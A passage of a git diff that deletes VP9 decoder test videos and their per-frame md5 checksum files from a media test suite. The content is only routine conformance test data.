-8a6d3784e22e3b4f735e78916fbc3821  vp90-2-03-size-226x226-226x226-0003.i420
-0c4afce19c43fdf3bb1b972810cc9126  vp90-2-03-size-226x226-226x226-0004.i420
-814a68dd76a3135221131988910f51ba  vp90-2-03-size-226x226-226x226-0005.i420
-b2379c4b28dca10e67ac58631f9731c0  vp90-2-03-size-226x226-226x226-0006.i420
-b16fd651884340a428cea3fe0ac18ba6  vp90-2-03-size-226x226-226x226-0007.i420
-cb65cd4c421cfd6a19fb123ec27abbe6  vp90-2-03-size-226x226-226x226-0008.i420
-7f1d2686b9808de8ecc723b18136d57d  vp90-2-03-size-226x226-226x226-0009.i420
-da7fd4bff4b6db0221c42492876c5c4d  vp90-2-03-size-226x226-226x226-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_06_bilinear.vp9 b/tests/tests/media/res/raw/vp90_2_06_bilinear.vp9
deleted file mode 100644
index a492d03..0000000
--- a/tests/tests/media/res/raw/vp90_2_06_bilinear.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_06_bilinear_vp9_md5 b/tests/tests/media/res/raw/vp90_2_06_bilinear_vp9_md5
deleted file mode 100644
index 25231b98..0000000
--- a/tests/tests/media/res/raw/vp90_2_06_bilinear_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-818a5af531c921ae58dfedc75234f3c5  -352x288-0001.i420
-f863f8c68b5c87c721d345c5a894336d  -352x288-0002.i420
-3f1213e44db416530bc0717f0a795b5d  -352x288-0003.i420
-4b99c16a62c3d6687c78236fa13e1f41  -352x288-0004.i420
-80f23a3f04215dd7542128e7c53d68d0  -352x288-0005.i420
-b40b7aa34a77fe773d82d75b5bdd9c13  -352x288-0006.i420
-dd4af6263d20bbaf9afedb6695c1ba67  -352x288-0007.i420
-1f2ccf88f15c10e3c27b2368dacc3727  -352x288-0008.i420
-232b027c4e9b598f50d078bb7b7a165e  -352x288-0009.i420
-2b44367332aa0fe42362d61f18e7f8dd  -352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel.vp9
deleted file mode 100644
index 2c80a2d..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1.vp9 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1.vp9
deleted file mode 100644
index 10f6eb7..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1_vp9_md5
deleted file mode 100644
index a6261c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_1_vp9_md5
+++ /dev/null
@@ -1,40 +0,0 @@
-b5d461894f957709576d15f6dce3d69e  vp90-2-07-frame_parallel-1.webm-352x288-0001.i420
-54e45dfe575d9843c198270f62154c09  vp90-2-07-frame_parallel-1.webm-352x288-0002.i420
-c3798fe06d2c0adbb43410b76c67c0cd  vp90-2-07-frame_parallel-1.webm-352x288-0003.i420
-2cc4ad256a586ff2be650adce4d7f332  vp90-2-07-frame_parallel-1.webm-352x288-0004.i420
-3e63839f0aaedfeaf71cf2868e506bdd  vp90-2-07-frame_parallel-1.webm-352x288-0005.i420
-ca0a10c9144084231f801fa6f0433eb4  vp90-2-07-frame_parallel-1.webm-352x288-0006.i420
-c920d177c21a8b0dee8fdbce1edfd75c  vp90-2-07-frame_parallel-1.webm-352x288-0007.i420
-6afe32287ff1dcaa42630bbf9fe32bad  vp90-2-07-frame_parallel-1.webm-352x288-0008.i420
-0bc39f7c6fbc1fb18dce622d17b0856e  vp90-2-07-frame_parallel-1.webm-352x288-0009.i420
-6f92688afcd228649627c1757417bfe5  vp90-2-07-frame_parallel-1.webm-352x288-0010.i420
-338920379e1746eff6bc1c53553c400e  vp90-2-07-frame_parallel-1.webm-352x288-0011.i420
-2beb514ca62779c7c20e1dff0ccc496a  vp90-2-07-frame_parallel-1.webm-352x288-0012.i420
-e7b4dcc8437af45f363a3b24439323d2  vp90-2-07-frame_parallel-1.webm-352x288-0013.i420
-10bac4f44ae04e2d9f3219044a273f3c  vp90-2-07-frame_parallel-1.webm-352x288-0014.i420
-45581dbebb5074f698ad6d22d52f02b6  vp90-2-07-frame_parallel-1.webm-352x288-0015.i420
-9480f12b47b834003d6d572b9fdfdda1  vp90-2-07-frame_parallel-1.webm-352x288-0016.i420
-b31f361b8971a56338b3960c18177b7c  vp90-2-07-frame_parallel-1.webm-352x288-0017.i420
-79d631a53008d36f8ff5248a8592ffdc  vp90-2-07-frame_parallel-1.webm-352x288-0018.i420
-0efc005919f5a1cdded77ae91245d3be  vp90-2-07-frame_parallel-1.webm-352x288-0019.i420
-bf0d1144000094b3eb333b3dab466ace  vp90-2-07-frame_parallel-1.webm-352x288-0020.i420
-80c0d7ccfa044dc8fe1967951c4d4fea  vp90-2-07-frame_parallel-1.webm-352x288-0021.i420
-28c8e8c406a804cde7feba37e0fda689  vp90-2-07-frame_parallel-1.webm-352x288-0022.i420
-8bef0cfaa4c298d93d20b88c17ef4864  vp90-2-07-frame_parallel-1.webm-352x288-0023.i420
-9488e35310228d5930fccc4a2ee5a96d  vp90-2-07-frame_parallel-1.webm-352x288-0024.i420
-638394b668015141ba1ff97c89034e32  vp90-2-07-frame_parallel-1.webm-352x288-0025.i420
-85aff2c821b25962d3f72208a5f05992  vp90-2-07-frame_parallel-1.webm-352x288-0026.i420
-ec68bb46a7ef2e90c07b7dcfb406eb20  vp90-2-07-frame_parallel-1.webm-352x288-0027.i420
-7b0f3a57f320b1fe33ad5ac03ba0e568  vp90-2-07-frame_parallel-1.webm-352x288-0028.i420
-da461e5510f591c17675d9d7ec9532c4  vp90-2-07-frame_parallel-1.webm-352x288-0029.i420
-d2997aa173f757dd2ef78b58f5d5a109  vp90-2-07-frame_parallel-1.webm-352x288-0030.i420
-ff70094752edf348767a47db71d2dfd0  vp90-2-07-frame_parallel-1.webm-352x288-0031.i420
-52ec9a87ad6df24714fbe6b3384b3f10  vp90-2-07-frame_parallel-1.webm-352x288-0032.i420
-665a0ee3f3ce1a100aae8ff12e8f5193  vp90-2-07-frame_parallel-1.webm-352x288-0033.i420
-98e6fcabfa61b3ca20844c4ce02cdc59  vp90-2-07-frame_parallel-1.webm-352x288-0034.i420
-8e9a1c517df8a280b27e525e3b60ec6f  vp90-2-07-frame_parallel-1.webm-352x288-0035.i420
-58701ab08edeed3f9f969742b64dbb35  vp90-2-07-frame_parallel-1.webm-352x288-0036.i420
-d901de4fdc5fc2352578116bacefade2  vp90-2-07-frame_parallel-1.webm-352x288-0037.i420
-3b9d9902ea331b3fb5ceb255e66731b3  vp90-2-07-frame_parallel-1.webm-352x288-0038.i420
-3ac2e9b87a373667686c82fc7f14e6be  vp90-2-07-frame_parallel-1.webm-352x288-0039.i420
-fe198064dd4e6ef3ef829ba41c92d002  vp90-2-07-frame_parallel-1.webm-352x288-0040.i420
diff --git a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_07_frame_parallel_vp9_md5
deleted file mode 100644
index 7e598ae..0000000
--- a/tests/tests/media/res/raw/vp90_2_07_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-4480e19849cb7b042355a42011fa2d89  vp90-2-07-frame_parallel-352x240-0001.i420
-1d48490e61c0109b301938facb648987  vp90-2-07-frame_parallel-352x240-0002.i420
-9c9140e23a56114ea3cc9bae01c6f2be  vp90-2-07-frame_parallel-352x240-0003.i420
-cbdd934532bd9c9c27079d17e570e4af  vp90-2-07-frame_parallel-352x240-0004.i420
-db86f11f02c0936371f59a292e32976d  vp90-2-07-frame_parallel-352x240-0005.i420
-6fc5f675eb7e1ccdfa5230208dcbc608  vp90-2-07-frame_parallel-352x240-0006.i420
-39fcd15c8cf524a9acce7a66982acec5  vp90-2-07-frame_parallel-352x240-0007.i420
-8c24475c41ec9d5aaa7954f997da12c4  vp90-2-07-frame_parallel-352x240-0008.i420
-5b9747332e303f62b73d4cd2728ac93c  vp90-2-07-frame_parallel-352x240-0009.i420
-706f3fc0042b9e6e8b91318ecd55fce8  vp90-2-07-frame_parallel-352x240-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2.vp9
deleted file mode 100644
index de3593a..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel.vp9
deleted file mode 100644
index 1895056..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel_vp9_md5
deleted file mode 100644
index 7e6b4f2..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-124dcaf4393bbc676cefc1dcfc1474b9  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0001.i420
-02e0c145da3e3c711f13dad6d5d9f2ec  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0002.i420
-bd276b44124d01ea89cb428a3532a87e  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0003.i420
-fc1eb96ba3b93382a8cf3dee39928d85  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0004.i420
-0b7b92b084684377795f6fcc549f7677  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0005.i420
-208972b2d34f0a7a6616570d8279c1f1  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0006.i420
-33f15b325f9367cf1f58e2e25ccc7bed  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0007.i420
-d7f75036195e89dcbcaba566c1d6cad8  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0008.i420
-bdc3a5b228f0afa3f969d5f99685a501  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0009.i420
-d436084146d6be84df15f5fb94067d53  /tmp/test-vector/vp90-2-08-tile_1x2_frame_parallel-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x2_vp9_md5
deleted file mode 100644
index f979f7f..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x2_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-124dcaf4393bbc676cefc1dcfc1474b9  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0001.i420
-5f3357dc102c9db11e7b68d277f31f99  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0002.i420
-a5fb34b4a52fbc7b8290bffe988ffb01  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0003.i420
-1405fa1086ac63d4f5e8ed1ca0ad192a  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0004.i420
-0ead62c1d7c7c44f316e601d8fea16ba  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0005.i420
-204e05b399becce6e936bb3ac739fbe3  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0006.i420
-a27c70e46f6b2c40d6d0a13befede3ac  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0007.i420
-71434072992ec693ae809086760cad22  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0008.i420
-790a525234048c0645cc81f6a042c9c3  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0009.i420
-751b37a7b9401a5ca30dc2673070f881  /tmp/test-vector/vp90-2-08-tile_1x2-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4.vp9
deleted file mode 100644
index 2cc32ae..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel.vp9
deleted file mode 100644
index d712a9c..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel_vp9_md5
deleted file mode 100644
index 0541f98..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c8a7f0299fb945318bbb6fd531885339  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0001.i420
-88001dece48c52b0f34afc9137915c9e  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0002.i420
-71c3bc238c76f1e3a81bc70aa7dcacfc  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0003.i420
-32726efd04e67dc09c055481f0189c76  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0004.i420
-7c8fa7372885d16b73f79cbddfd7d45c  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0005.i420
-0d9a3324f574bccd9903ee040eee1787  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0006.i420
-630fb9507a52803b50ea959a36ff60b8  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0007.i420
-d5d7b249db773ec3c5b49567aff761e9  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0008.i420
-b480f582b52d291aeffb97e6d572731b  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0009.i420
-be72a4c2f29317441344cc4d73b24333  /tmp/test-vector/vp90-2-08-tile_1x4_frame_parallel-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x4_vp9_md5
deleted file mode 100644
index 23297f5..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x4_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-c8a7f0299fb945318bbb6fd531885339  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0001.i420
-22dde3e7feb2177aa350db7331e8fa8f  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0002.i420
-ba644eea2bd5cded05a7b82224a02d30  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0003.i420
-0611f83948b22eb4bd5973fa0485dcda  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0004.i420
-a8eea6193af51dbd06d953165b3de261  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0005.i420
-1e76d8ec66941c9185e0747307a1496c  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0006.i420
-d8404c3e80c2773173e362ff622b6f3c  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0007.i420
-beed5600864a9b961c983d7a7a670bc1  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0008.i420
-9efbe9228f6a437fe450215f711ea429  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0009.i420
-1b65f47a5c11c5b763123d337482bd92  /tmp/test-vector/vp90-2-08-tile_1x4-1920x1080-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8.vp9
deleted file mode 100644
index 4e9374f..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel.vp9
deleted file mode 100644
index ba4e864..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel_vp9_md5
deleted file mode 100644
index f36f297..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_frame_parallel_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f91ceda125d592a3f9537d02df06c4f3  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0001.i420
-563dae097075cd4002b16ffb2be42cf2  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0002.i420
-1f035d79632516b58c56813c113e0f23  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0003.i420
-0db334dafa73ec37699a96e21bf065d0  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0004.i420
-445a1d62a17f7362c1a14179bededcab  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0005.i420
-4c80d03262518f957c54afd6e02d3610  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0006.i420
-bc6be97c7e509af0903509a260f5ccb6  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0007.i420
-27a679a8bbf2eef3eb1dc6cb221ec467  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0008.i420
-eb3b064727f265bd29407f334a51c1ab  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0009.i420
-3e0caeeef59797f9ec278e190170c285  /tmp/vids/vp90-2-08-tile_1x8_frame_parallel-3840x2160-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_1x8_vp9_md5
deleted file mode 100644
index a13a4d7..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_1x8_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-f91ceda125d592a3f9537d02df06c4f3  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0001.i420
-a911be78a743ed0f21463bfb82efbd44  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0002.i420
-85d7cddba48b9e26b089da7f40fd4c71  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0003.i420
-39241fe3e171fafbc95966c03042699d  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0004.i420
-7b8500c53fce2702d204b6fc888f33fb  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0005.i420
-8197c61dcecdbd975fe54771f34c5df2  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0006.i420
-f28ebf18412521df51b9d6a3ffd44f4b  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0007.i420
-0d576800a02952e825f1721fc13ac695  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0008.i420
-0eb34a14d7a89ee4c951759a35673b13  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0009.i420
-11fb21038d63e3b431f92e0a4152c2f4  /tmp/vids/vp90-2-08-tile_1x8-3840x2160-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x1.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_4x1.vp9
deleted file mode 100644
index e4f9580..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_4x1_vp9_md5
deleted file mode 100644
index 85d3f2a..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x1_vp9_md5
+++ /dev/null
@@ -1,5 +0,0 @@
-82fe82552fc693418e68f7757c67bbcb  vp90-2-08-tile-4x1-1920x1080-0001.i420
-28db6328c54d2dbe7e9efae5ca58cec8  vp90-2-08-tile-4x1-1920x1080-0002.i420
-72f6459dd217ddd05f42cd9e8d6f689f  vp90-2-08-tile-4x1-1920x1080-0003.i420
-12eeebc1533f812d01df0e2b2b8cf0f3  vp90-2-08-tile-4x1-1920x1080-0004.i420
-7ddc1f11bb28f6ad235832e6a1bb88dd  vp90-2-08-tile-4x1-1920x1080-0005.i420
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x4.vp9 b/tests/tests/media/res/raw/vp90_2_08_tile_4x4.vp9
deleted file mode 100644
index 99e18c7..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x4.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_08_tile_4x4_vp9_md5 b/tests/tests/media/res/raw/vp90_2_08_tile_4x4_vp9_md5
deleted file mode 100644
index 5bb175c..0000000
--- a/tests/tests/media/res/raw/vp90_2_08_tile_4x4_vp9_md5
+++ /dev/null
@@ -1,5 +0,0 @@
-a3b9b715a7e2aed15430faabb3c8b7b3  vp90-2-08-tile-4x4-1920x1080-0001.i420
-85fa2105aa554e680056d1a413ac9673  vp90-2-08-tile-4x4-1920x1080-0002.i420
-4abb371be22d7914bb62b30d901c30ce  vp90-2-08-tile-4x4-1920x1080-0003.i420
-83c2528204ae3fd4d4cc8fc67b641d3a  vp90-2-08-tile-4x4-1920x1080-0004.i420
-86fcc862b8c8d64690ba3c4a6bff9f74  vp90-2-08-tile-4x4-1920x1080-0005.i420
diff --git a/tests/tests/media/res/raw/vp90_2_09_aq2.vp9 b/tests/tests/media/res/raw/vp90_2_09_aq2.vp9
deleted file mode 100644
index 26c09a5..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_aq2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_09_aq2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_09_aq2_vp9_md5
deleted file mode 100644
index 57ce2c8..0000000
--- a/tests/tests/media/res/raw/vp90_2_09_aq2_vp9_md5
+++ /dev/null
@@ -1,100 +0,0 @@
-7fd2573f979a4c0fcc74c6ed37599738  vp90-2-09-aq2-352x240-0001.i420
-c2fba96de0561d78d96425813bdf0da0  vp90-2-09-aq2-352x240-0002.i420
-108b4bfeae261da9758675bce8b4645f  vp90-2-09-aq2-352x240-0003.i420
-43b6e3bb1c3f6d15033f16fbd4355265  vp90-2-09-aq2-352x240-0004.i420
-e5a63b53ba5c19370c6f5fdb812014b5  vp90-2-09-aq2-352x240-0005.i420
-de4aa11cfd57d3fa11c8e29faec64bea  vp90-2-09-aq2-352x240-0006.i420
-b70e555bc41eafa68db19d81780fe7b9  vp90-2-09-aq2-352x240-0007.i420
-8a49e3307faef41ecfecfdaa29f48d1f  vp90-2-09-aq2-352x240-0008.i420
-ed01509dcb01ba6644137e7f0f588f13  vp90-2-09-aq2-352x240-0009.i420
-15630dcfe0ec0f27abace3e2ac80d47a  vp90-2-09-aq2-352x240-0010.i420
-2f023d334f0d0d7ea7724ddd075b41a3  vp90-2-09-aq2-352x240-0011.i420
-3fd72535813e4943d1e4b19f7e554b00  vp90-2-09-aq2-352x240-0012.i420
-360db62794959e018a04c3650e832d60  vp90-2-09-aq2-352x240-0013.i420
-33638c46202958cabd78356f18101b88  vp90-2-09-aq2-352x240-0014.i420
-d8a3d7541654307f3b500cb6399fccd1  vp90-2-09-aq2-352x240-0015.i420
-cd2a41d7d0f21c02919ffb87b9510b55  vp90-2-09-aq2-352x240-0016.i420
-54b8f6b3d7e2edb67db7c3aa7f5a973b  vp90-2-09-aq2-352x240-0017.i420
-ddabc76c8b2af158e5feed0f48106429  vp90-2-09-aq2-352x240-0018.i420
-b22c40581501676d588a77b502cb5e48  vp90-2-09-aq2-352x240-0019.i420
-e25c4976462fe37b0119e719e7a9a65b  vp90-2-09-aq2-352x240-0020.i420
-1fcf289ba81a469926b63e9fa70fc184  vp90-2-09-aq2-352x240-0021.i420
-6a7392c22ffac7c6a4bfe7012e8dfa29  vp90-2-09-aq2-352x240-0022.i420
-9b74dc670c67073a582b3c8d390caaf5  vp90-2-09-aq2-352x240-0023.i420
-23b18dc9b7eb27b55e0068c1d75de8ad  vp90-2-09-aq2-352x240-0024.i420
-0a94a263b90e08e88909deafd5c42b7c  vp90-2-09-aq2-352x240-0025.i420
-9b940506b41816d2030f7a2089d83ea3  vp90-2-09-aq2-352x240-0026.i420
-da88cae2ec9324ad19365871ec893d45  vp90-2-09-aq2-352x240-0027.i420
-323cf97cddde5a9cea5f338b7ab17860  vp90-2-09-aq2-352x240-0028.i420
-455506b023df603e494bcc36ffcce179  vp90-2-09-aq2-352x240-0029.i420
-7dc8cf924ca17b6f19c7ed5e7d584835  vp90-2-09-aq2-352x240-0030.i420
-88e4c47e343182051fef005676fc3112  vp90-2-09-aq2-352x240-0031.i420
-e4891dfcc239d80f3240b85fe48f3957  vp90-2-09-aq2-352x240-0032.i420
-e559abcb6717ca8b211159010beebef8  vp90-2-09-aq2-352x240-0033.i420
-3b96d340f65e415d40d60bf6a3bedefc  vp90-2-09-aq2-352x240-0034.i420
-51131241975195394fb3eaa13ca1b43f  vp90-2-09-aq2-352x240-0035.i420
-ceefc4774251000943f2d58c68f2b3d3  vp90-2-09-aq2-352x240-0036.i420
-76524ef8a7f1ab5199124e8bff7bc559  vp90-2-09-aq2-352x240-0037.i420
-906cf4fc07aacb1f0a3ceaf7eeda2e74  vp90-2-09-aq2-352x240-0038.i420
-c7ad9d7bc30af316285b962b9eda4c9a  vp90-2-09-aq2-352x240-0039.i420
-424a7133c0bb45a2601733a39f8d70fa  vp90-2-09-aq2-352x240-0040.i420
-e76eac1e8e9529609ad1bf3e4c44e4d0  vp90-2-09-aq2-352x240-0041.i420
-e238dcef853fed9f7322cb1d73dceef5  vp90-2-09-aq2-352x240-0042.i420
-a0f2d7cd7f628fca6992ccb2ca418133  vp90-2-09-aq2-352x240-0043.i420
-4d07e59c0935554b624409bd904264ef  vp90-2-09-aq2-352x240-0044.i420
-d0944fdf52b02c4ff8fd7fcb944ae00c  vp90-2-09-aq2-352x240-0045.i420
-f719c346201b393262d4764bc989c4fd  vp90-2-09-aq2-352x240-0046.i420
-951d18cb2791c55ebed8321dba537eb9  vp90-2-09-aq2-352x240-0047.i420
-f764f5aaac4f19b131377e16d034de9a  vp90-2-09-aq2-352x240-0048.i420
-871f7a2201dd951ba541625219a8f000  vp90-2-09-aq2-352x240-0049.i420
-05e9bf3f38aacd65a796400247c8d149  vp90-2-09-aq2-352x240-0050.i420
-7bdc6fc1fe6a1e24cb952e10ed19ab68  vp90-2-09-aq2-352x240-0051.i420
-a92e8a9e7ba4d24adcf63ab897057e68  vp90-2-09-aq2-352x240-0052.i420
-7ec84b978b27052954fac85142582c2c  vp90-2-09-aq2-352x240-0053.i420
-10153d3889093a27aa2aa7a4380d6372  vp90-2-09-aq2-352x240-0054.i420
-1313e1ab4c7c6c01b3b25ff7fc84da9f  vp90-2-09-aq2-352x240-0055.i420
-810d9122895dcb90fae58be03af9980b  vp90-2-09-aq2-352x240-0056.i420
-f77fb637d12d958099d534f4a1689eb7  vp90-2-09-aq2-352x240-0057.i420
-3570f0094d3f06efa648ff4d9db2a25d  vp90-2-09-aq2-352x240-0058.i420
-8f22721b7e56e04d41d2af7cbf2ca349  vp90-2-09-aq2-352x240-0059.i420
-fee5d638fa94a6d1a2fa1dfc86a3f131  vp90-2-09-aq2-352x240-0060.i420
-c9e2f58d5f3f8c3ad527e9bd53e12372  vp90-2-09-aq2-352x240-0061.i420
-6507534d0c9fbd22c76f1f7753f000ce  vp90-2-09-aq2-352x240-0062.i420
-cd944cf2a7dbd30ab4fc4b99f4041379  vp90-2-09-aq2-352x240-0063.i420
-15bbc0674190eeb1112a27746dce3726  vp90-2-09-aq2-352x240-0064.i420
-7270c42f643a9f27095dade9f1b6b62e  vp90-2-09-aq2-352x240-0065.i420
-7f47919091ccd7072a2068904f582679  vp90-2-09-aq2-352x240-0066.i420
-1e3c77d769a978bf9dc9188c0f1ed105  vp90-2-09-aq2-352x240-0067.i420
-4a4613749f272b7a04e6ead37844f73c  vp90-2-09-aq2-352x240-0068.i420
-8967e0f52af43110004dce3f78c8fc75  vp90-2-09-aq2-352x240-0069.i420
-e3b979ec8ed4e389abaeea149b86b407  vp90-2-09-aq2-352x240-0070.i420
-fd3c72c5249c214a85e0957279090781  vp90-2-09-aq2-352x240-0071.i420
-7fe861180df75e21f4b8937ae506d601  vp90-2-09-aq2-352x240-0072.i420
-8804a39483b5a8d7ae03003ee8b3152a  vp90-2-09-aq2-352x240-0073.i420
-30a1b0bd147277f8fc50de11c2c8dc93  vp90-2-09-aq2-352x240-0074.i420
-7cb788efedd325f45bd4785f89432115  vp90-2-09-aq2-352x240-0075.i420
-a162c8ab7fa0dafdc3313a69bc7f1e38  vp90-2-09-aq2-352x240-0076.i420
-83905de481bd1cafa16cd96698337c25  vp90-2-09-aq2-352x240-0077.i420
-3d75f99043ea4bf2364844474e180079  vp90-2-09-aq2-352x240-0078.i420
-89975274a8a72af7d2cdee9fbe907852  vp90-2-09-aq2-352x240-0079.i420
